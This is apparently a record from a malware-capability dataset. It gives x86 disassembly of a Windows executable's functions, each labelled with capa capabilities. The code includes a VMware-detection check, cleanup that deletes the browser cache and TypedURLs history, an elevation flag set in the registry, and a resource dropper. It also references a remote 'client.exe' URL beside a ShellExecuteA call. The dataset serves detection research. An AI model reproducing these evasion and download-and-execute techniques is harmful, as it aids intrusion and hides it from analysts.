joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402730
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402749
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402784
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x402780
lea ebx, [ebx]
cmp esi, eax
jae 0x402784
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402770
cmp esi, eax
jb 0x40278a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x404950
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
lea ecx, [esp]
push ecx
push 0x404900
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [esp + 4]
add esp, 8
ret

Function at 0x404fe0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
mov eax, dword [0x473b98]
xor eax, esp
mov dword [esp + 0x128], eax
push ebp
mov ebp, dword [esp + 0x134]
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x405026
pop edi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x128]
xor ecx, esp
call fcn.0043f7cd
add esp, 0x12c
ret
push esi
push 0x124
lea eax, [esp + 0x14]
push 0
push eax
mov dword [esp + 0x18], 0x128
call fcn.0043f9f0
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push edi
xor esi, esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4050de
push ebx
lea edx, [esp + 0x34]
push ebp
push edx
call fcn.0043fc90
mov ebx, dword [esp + 0x14c]
add esp, 8
test eax, eax
jne 0x40508e
mov eax, dword [esp + 0x18]
push ebx
push eax
call fcn.00404950
add esp, 4
push eax
call fcn.00404990
add esp, 8
mov esi, 1
lea ecx, [esp + 0x10]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4050dd
lea ecx, [ecx]
lea edx, [esp + 0x34]
push ebp
push edx
call fcn.0043fc90
add esp, 8
test eax, eax
jne 0x4050ce
mov eax, dword [esp + 0x18]
push ebx
push eax
call fcn.00404950
add esp, 4
push eax
call fcn.00404990
add esp, 8
mov esi, 1
lea ecx, [esp + 0x10]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4050a0
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x134]
mov eax, esi
pop esi
pop edi
pop ebp
xor ecx, esp
call fcn.0043f7cd
add esp, 0x12c
ret
Function at 0x406c40
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x94
mov eax, dword [0x473b98]
xor eax, esp
mov dword [esp + 0x90], eax
push ebx
mov ebx, dword [sym.imp.WSOCK32.dll_inet_addr]
push esi
push edi
mov edi, dword [esp + 0xa4]
push edi
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x406c8c
push edi
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
je 0x406cf6
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WSOCK32.dll_inet_ntoa]
push eax
call ebx
mov esi, eax
call dword [0x4782a8]
mov edi, eax
xor eax, eax
push 0x12c
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov eax, 0x45454545
push 0x3c
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x18]
push ecx
push 0x20
lea edx, [esp + 0x28]
push edx
push esi
push edi
mov byte [esp + 0x2c], 0x80
call dword [0x4782a0]
cmp dword [esp + 0x3c], 0
push edi
je 0x406d13
call dword [0x4782a4]
pop edi
pop esi
mov eax, 0x190
pop ebx
mov ecx, dword [esp + 0x90]
xor ecx, esp
call fcn.0043f7cd
add esp, 0x94
ret
mov esi, dword [esp + 0x44]
call dword [0x4782a4]
mov ecx, dword [esp + 0x9c]
pop edi
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.0043f7cd
add esp, 0x94
ret

Function at 0x406fa0
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x46a258
push 0x4408d0
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x473b98]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x19], 1
xor eax, eax
mov dword [ebp - 4], eax
mov byte [ebp - 0x20], al
mov word [ebp - 0x1f], ax
mov byte [ebp - 0x1d], al
str word [ebp - 0x20]
cmp byte [ebp - 0x20], al
jne 0x407010
cmp byte [ebp - 0x1f], 0x40
jne 0x407010
mov dword [ebp - 4], 0xfffffffe
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x19]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xfffffffe
mov al, byte [ebp - 0x19]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407080
Capabilities:
Get disk information
Get disk size
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x80
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push esi
push edi
xor edi, edi
mov dword [esp + 0x30], 0x45bd2c
mov dword [esp + 0x34], 0x45bd28
mov dword [esp + 0x38], 0x45bd24
mov dword [esp + 0x3c], 0x45bd20
mov dword [esp + 0x40], 0x45bd1c
mov dword [esp + 0x44], 0x45bd18
mov dword [esp + 0x48], 0x45bd14
mov dword [esp + 0x4c], 0x45bd10
mov dword [esp + 0x50], 0x45bd0c
mov dword [esp + 0x54], 0x45bd08
mov dword [esp + 0x58], 0x45bd04
mov dword [esp + 0x5c], 0x45bd00
mov dword [esp + 0x60], 0x45bcfc
mov dword [esp + 0x64], 0x45bcf8
mov dword [esp + 0x68], 0x45bcf4
mov dword [esp + 0x6c], 0x45bcf0
mov dword [esp + 0x70], 0x45bcec
mov dword [esp + 0x74], 0x45bce8
mov dword [esp + 0x78], 0x45bce4
mov dword [esp + 0x7c], 0x45bce0
mov dword [esp + 0x80], 0x45bcdc
mov dword [esp + 0x84], 0x45bcd8
mov dword [esp + 0x88], 0x45bcd4
mov dword [esp + 0x8c], 0x45bcd0
mov dword [esp + 0x14], edi
mov edi, edi
mov esi, dword [esp + edi*4 + 0x30]
push esi
call ebx
cmp eax, 3
jne 0x4071a5
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x30]
push edx
push esi
call ebp
test eax, eax
je 0x4071a5
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
shrd eax, ecx, 0x14
shr ecx, 0x14
add dword [esp + 0x14], eax
inc edi
cmp edi, 0x18
jl 0x407170
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409620
Capabilities:
Encode data using xor
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x456740
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x473b98]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x46a610
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 1
call fcn.004403a2
xor esi, esi
lea esp, [esp]
push 8
push esi
call fcn.00409580
shl eax, 0x18
mov ecx, eax
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
lea edx, [eax + eax]
xor ecx, edx
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
lea edx, [eax + eax]
and ecx, 0x4c11db7
xor ecx, edx
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
lea edx, [eax + eax]
and ecx, 0x4c11db7
xor ecx, edx
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
and eax, 0x4c11db7
add ecx, ecx
xor eax, ecx
mov edx, eax
and edx, 0x80000000
neg edx
sbb edx, edx
and edx, 0x4c11db7
add eax, eax
xor edx, eax
mov ecx, edx
push 0x20
push ecx
mov dword [esi*4 + 0x47b678], edx
call fcn.00409580
mov dword [esi*4 + 0x47b678], eax
inc esi
add esp, 0x10
cmp esi, 0xff
jle 0x409670
mov eax, 0x409754
ret
Function at 0x409900
Capabilities:
Delete internet cache
Delete registry key
Enumerate internet cache

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x456760
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x473b98]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [sym.imp.WININET.dll_FindFirstUrlCacheEntryA]
xor ebx, ebx
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
call edi
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.004183f1
add esp, 4
lea edx, [ebp - 0x14]
push edx
mov esi, eax
push esi
push ebx
call edi
mov edi, eax
cmp edi, ebx
je 0x4099a2
mov ebx, dword [sym.imp.WININET.dll_FindNextUrlCacheEntryA]
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea ecx, [ebp - 0x14]
push ecx
push 0
push edi
mov dword [ebp - 0x14], 0
call ebx
push esi
call fcn.004183e6
mov edx, dword [ebp - 0x14]
add esp, 4
push edx
call fcn.004183f1
add esp, 4
mov esi, eax
lea eax, [ebp - 0x14]
push eax
push esi
push edi
call ebx
test eax, eax
jne 0x409963
xor ebx, ebx
push ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [ebp - 0x18]
push ecx
push 0x465a6c
push 1
push ebx
push 0x4659fc
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, ebx
jl 0x4099dd
mov eax, dword [ebp - 0x18]
mov edx, dword [eax]
push eax
mov eax, dword [edx + 0x24]
call eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
push str.SoftwareMicrosoftInternet_ExplorerTypedURLs
push reloc.WSOCK32.dll_accept
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409b20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x456780
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x473b98]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x46a610
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 2
call fcn.004403a2
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ecx
mov ecx, dword [ebp + 8]
push edx
push 0
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x18], eax
mov eax, 0x409b8a
ret
Function at 0x409bd0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4567a0
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x473b98]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x46a610
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 3
call fcn.004403a2
mov ecx, dword [ebp + 0x14]
movzx edx, word [ebp + 0x10]
mov esi, dword [ebp + 8]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
push esi
mov dword [ebp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test esi, esi
je 0x409cac
mov eax, dword [ebp + 0xc]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
test edi, edi
je 0x409cac
mov edx, dword [ebp + 0x14]
push 0
lea ecx, [ebp + 0x10]
push ecx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, 0x409c93
ret
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, 0x409cb9
ret

Function at 0x40a030
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
mov edx, dword [edx]
or eax, 0xffffffff
test ecx, ecx
je 0x40a062
push esi
push edi
movzx edi, byte [edx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
xor eax, dword [esi*4 + 0x47b678]
dec ecx
inc edx
test ecx, ecx
jne 0x40a043
pop edi
pop esi
not eax
ret
Function at 0x40add0
Capabilities:
Check os version
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x498]
sub esp, 0x498
push 0xffffffffffffffff
push 0x456ad3
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x473b98]
xor eax, ebp
mov dword [ebp + 0x494], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x46a610
lea eax, [ebp - 0x20]
mov dword [ebp - 4], 0
push eax
mov byte [ebp - 4], 1
mov dword [ebp - 0x20], 2
call fcn.004403a2
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], esp
call fcn.004011f0
lea ecx, [ebp]
push ecx
mov byte [ebp - 4], 4
mov dword [ebp], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp + 4], 5
jne 0x40ae78
cmp dword [ebp + 8], 1
jne 0x40ae78
lea ecx, [ebp - 0x14]
call fcn.00401180
mov eax, 0x40ae66
ret
push 0x3ff
lea edx, [ebp + 0x95]
push 0
push edx
mov byte [ebp + 0x94], 0
call fcn.0043f9f0
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x40aed8
lea ecx, [ebp - 0x14]
call fcn.00401180
mov eax, 0x40aec5
ret
mov eax, dword [ebp + 0x4a0]
lea ecx, [ebp - 0x24]
push ecx
mov ecx, dword [ebp - 0x1c]
lea edx, [ebp + 0x94]
push edx
push eax
push ecx
mov dword [ebp - 0x24], 0x400
call fcn.00409b20
add esp, 0x10
test eax, eax
je 0x40af38
mov edx, dword [ebp + 0x4a0]
mov eax, dword [ebp - 0x1c]
push 0x40
push str.WINXPSP3_RUNASADMIN
push 1
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x1c]
push ecx
mov dword [ebp - 0x18], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x14]
call fcn.00401180
mov eax, 0x40aec5
ret
lea ecx, [ebp - 0x14]
call fcn.00401180
mov eax, 0x40ae66
ret

Function at 0x40af90
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x456b08
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x473b98]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x46a610
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0
push eax
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], 2
call fcn.004403a2
lea ecx, [ebp - 0x14]
push ecx
push 0xf003f
push 0
push str.SoftwarePXXZLOGIN
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40b00e
lea edx, [ebp - 0x14]
push edx
push str.SoftwarePXXZLOGIN
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 0x80
lea ecx, [ebp + 8]
call fcn.0040a5f0
push eax
mov eax, dword [ebp - 0x14]
push 1
push 0
push str.GamePath
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x40b03f
ret
Function at 0x40b080
Capabilities:
Copy file
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x456b48
mov eax, dword fs:[0]
push eax
sub esp, 0x268
mov eax, dword [0x473b98]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
push 0x46a610
lea eax, [ebp - 0x220]
push eax
mov byte [ebp - 4], 3
mov dword [ebp - 0x220], 2
call fcn.004403a2
push 0x207
lea ecx, [ebp - 0x21b]
push 0
push ecx
mov byte [ebp - 0x21c], 0
call fcn.0043f9f0
lea edx, [ebp + 0x10]
push 0x45bd71
push edx
call fcn.00407540
add esp, 0x14
push 0
test al, al
je 0x40b118
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
jmp 0x40b130
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp + 0xc]
push 0
push 0x4000000
push 3
push 0
push 1
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 1
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x44
mov esi, eax
lea eax, [ebp - 0x274]
push 0
push eax
call fcn.0043f9f0
mov edx, dword [ebp + 8]
xor eax, eax
push edx
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], eax
mov eax, dword [ebp + 0xc]
push esi
xor ecx, ecx
push eax
mov word [ebp - 0x244], cx
lea ecx, [ebp - 0x21c]
push str._s__d___s_
push ecx
mov dword [ebp - 0x274], 0x44
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea edx, [ebp - 0x230]
push edx
lea eax, [ebp - 0x274]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
lea ecx, [ebp - 0x21c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test edi, edi
je 0x40b1f0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x40b1fb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 2
mov eax, 0x40b208
ret
Function at 0x40b2a0
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x456b83
mov eax, dword fs:[0]
push eax
sub esp, 0x10c
mov eax, dword [0x473b98]
xor eax, esp
mov dword [esp + 0x108], eax
push esi
push edi
mov eax, dword [0x473b98]
xor eax, esp
push eax
lea eax, [esp + 0x118]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x120], 0
call fcn.00420f49
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b300
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0xc], edi
push 0x103
lea ecx, [esp + 0x15]
push 0
push ecx
mov byte [esp + 0x12c], 1
mov byte [esp + 0x1c], 0
call fcn.0043f9f0
mov edx, dword [esi + 0xa0]
push edx
lea eax, [esp + 0x20]
push str._sRXJH2Game.exe
push eax
call fcn.0044196b
add esp, 0x18
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x45c2c0
push 0xbf
lea edx, [esp + 0x18]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
mov ecx, esi
call fcn.00409bd0
jmp 0x459ea0
push 1
push edi
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0x45ac80
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test eax, eax
je 0x40b39b
push 0
mov ecx, esi
call fcn.004220d2
lea eax, [edi - 0x10]
mov byte [esp + 0x120], 0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40b3bf
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x128]
add eax, 0xfffffff0
mov dword [esp + 0x120], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40b3ed
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x118]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.0043f7cd
add esp, 0x118
ret 4
cmp dword [esp + 0x124], 0x40fc65
jne 0x459eb4
mov eax, str.http:__www.baidu.com:89_client.exe
jmp 0x459eb9
mov eax, 0x400300
jmp 0x40b378
Function at 0x40b650
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0x12c]
sub esp, 0x12c
push 0xffffffffffffffff
push 0x456bcb
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x473b98]
xor eax, ebp
mov dword [ebp + 0x128], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
push 0x46a610
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], 2
call fcn.004403a2
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x40b6d5
mov eax, 0x40b6c3
ret
lea ecx, [ebp]
push ecx
push edi
mov dword [ebp], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40b73b
mov edx, dword [ebp + 0x134]
push edx
lea eax, [ebp + 0x24]
push eax
call fcn.0043fc90
add esp, 8
mov esi, 1
test eax, eax
je 0x40b710
mov esi, dword [ebp - 0x14]
lea esp, [esp]
lea ecx, [ebp]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40b738
mov edx, dword [ebp + 0x134]
push edx
lea eax, [ebp + 0x24]
push eax
call fcn.0043fc90
add esp, 8
test eax, eax
jne 0x40b710
inc esi
jmp 0x40b710
mov dword [ebp - 0x14], esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x40b748
ret
Function at 0x40b970
Capabilities:
Get file size
Read file on windows

Disassembly:
push 0xffffffffffffffff
push 0x456c28
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x473b98]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov eax, dword [esp + 0x28]
push 0
push 0x8000000
push 3
push 0
push 3
push SysReAllocStringLen
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
or ebx, 0xffffffff
cmp edi, ebx
je 0x40ba71
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
push 0x20
lea ecx, [esp + 0x18]
call fcn.00407eb0
mov edx, dword [esp + 0x10]
mov eax, dword [edx - 8]
mov ecx, 1
sub ecx, dword [edx - 4]
sub eax, esi
or eax, ecx
mov dword [esp + 0x20], 0
jge 0x40ba02
push esi
lea ecx, [esp + 0x14]
call fcn.004011a0
mov edx, dword [esp + 0x10]
push 0
lea ecx, [esp + 0x18]
push ecx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.00440cf2
add esp, 8
test eax, eax
jl 0x40bad3
mov ecx, dword [esp + 0x10]
cmp eax, dword [ecx - 8]
jg 0x40bad3
mov dword [ecx - 0xc], eax
mov edx, dword [esp + 0x10]
mov byte [eax + edx], 0
cmp esi, dword [esp + 0x14]
je 0x40ba86
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
mov dword [esp + 0x20], ebx
lea ecx, [eax + 0xc]
lock xadd dword [ecx], ebx
dec ebx
test ebx, ebx
jg 0x40ba71
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret
lea ecx, [esp + 0x10]
push esi
push ecx
call fcn.0040a030
mov edx, dword [esp + 0x34]
mov dword [edx], eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
add esp, 8
mov dword [esp + 0x20], ebx
lea ecx, [eax + 0xc]
lock xadd dword [ecx], ebx
dec ebx
test ebx, ebx
jg 0x40babb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret
push 0x80070057
call fcn.00401000
int3